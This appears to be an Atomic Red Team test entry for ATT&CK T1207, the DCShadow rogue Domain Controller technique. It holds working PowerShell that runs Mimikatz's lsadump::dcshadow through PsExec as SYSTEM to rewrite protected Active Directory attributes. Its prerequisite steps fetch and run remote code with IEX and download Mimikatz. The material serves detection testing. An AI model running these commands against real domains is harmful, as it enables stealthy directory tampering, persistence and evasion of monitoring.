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Rogue Domain Controller

Description from ATT&CK

Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.

Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)

This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform SID-History Injection and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)

Atomic Tests

Atomic Test #1 - DCShadow (Active Directory)

Use Mimikatz DCShadow method to simulate behavior of an Active Directory Domain Controller and edit protected attribute.

DCShadow Additional Reference

It will set the badPwdCount attribute of the target user (user/machine account) to 9999. You can check after with: Get-ADObject -LDAPFilter '(samaccountname=<user>)' -Properties badpwdcount | select-object -ExpandProperty badpwdcount

Need SYSTEM privileges locally (automatically obtained via PsExec, so running as admin is sufficient), and Domain Admin remotely. The easiest is to run elevated and as a Domain Admin user.

Supported Platforms: windows

auto_generated_guid: 0f4c5eb0-98a0-4496-9c3d-656b4f2bc8f6

Inputs:

Name Description Type Default Value
object Targeted object (for machine account do not forget to add final '$') string bruce.wayne
attribute Object attribute to edit, interesting ones: badpwdcount, primaryGroupId, SIDHistory… string badpwdcount
value Value to assign to object attribute string 9999
mimikatz_path Mimikatz windows executable path PathToAtomicsFolder..\ExternalPayloads\mimikatz\x64\mimikatz.exe
psexec_path Path to PsExec path PathToAtomicsFolder..\ExternalPayloads\PSTools\PsExec.exe

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

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# starting fake DC server, as SYSTEM (required)
$dc_output_file = "PathToAtomicsFolder\..\ExternalPayloads\art-T1207-mimikatz-DC.log"
Remove-Item $dc_output_file -ErrorAction Ignore
$mimikatzParam ="`"log $dc_output_file`" `"lsadump::dcshadow /object:#{object} /attribute:#{attribute} /value:#{value}`" `"exit`""
$dc = Start-Process -FilePath cmd.exe -Verb Runas -ArgumentList "/c '#{psexec_path}' /accepteula -d -s #{mimikatz_path} $mimikatzParam"

# wait for fake DC server to be ready...
Start-Sleep -Seconds 5

# server ready, so trigger replication (push) and wait until it finished
& "#{mimikatz_path}" "lsadump::dcshadow /push" "exit"

Write-Host "`nWaiting for fake DC server to return"
Wait-Process $dc

Write-Host "`nOutput from fake DC server:"
Get-Content $dc_output_file
Start-Sleep 1 # wait a little until the file is not locked anymore so we can actually delete it
Remove-Item $dc_output_file -ErrorAction Ignore

Write-Host "End of DCShadow"

Cleanup Commands:

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Stop-Process -Name "mimikatz" -Force -ErrorAction Ignore

Dependencies: Run with powershell!

Description: Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})

Check Prereq Commands:

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$mimikatz_path = cmd /c echo #{mimikatz_path}
if (Test-Path $mimikatz_path) {exit 0} else {exit 1}

Get Prereq Commands:

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[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing) 
$releases = "https://api.github.com/repos/gentilkiwi/mimikatz/releases"
$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(".zip") }
$mimikatz_exe = cmd /c echo #{mimikatz_path}
$basePath = Split-Path $mimikatz_exe | Split-Path
Invoke-FetchFromZip $zipUrl "x64/mimikatz.exe" $basePath

Description: PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_path})

Check Prereq Commands:

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if (Test-Path "#{psexec_path}") { exit 0} else { exit 1}

Get Prereq Commands:

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Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
New-Item -ItemType Directory (Split-Path "#{psexec_path}") -Force | Out-Null
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "#{psexec_path}" -Force

source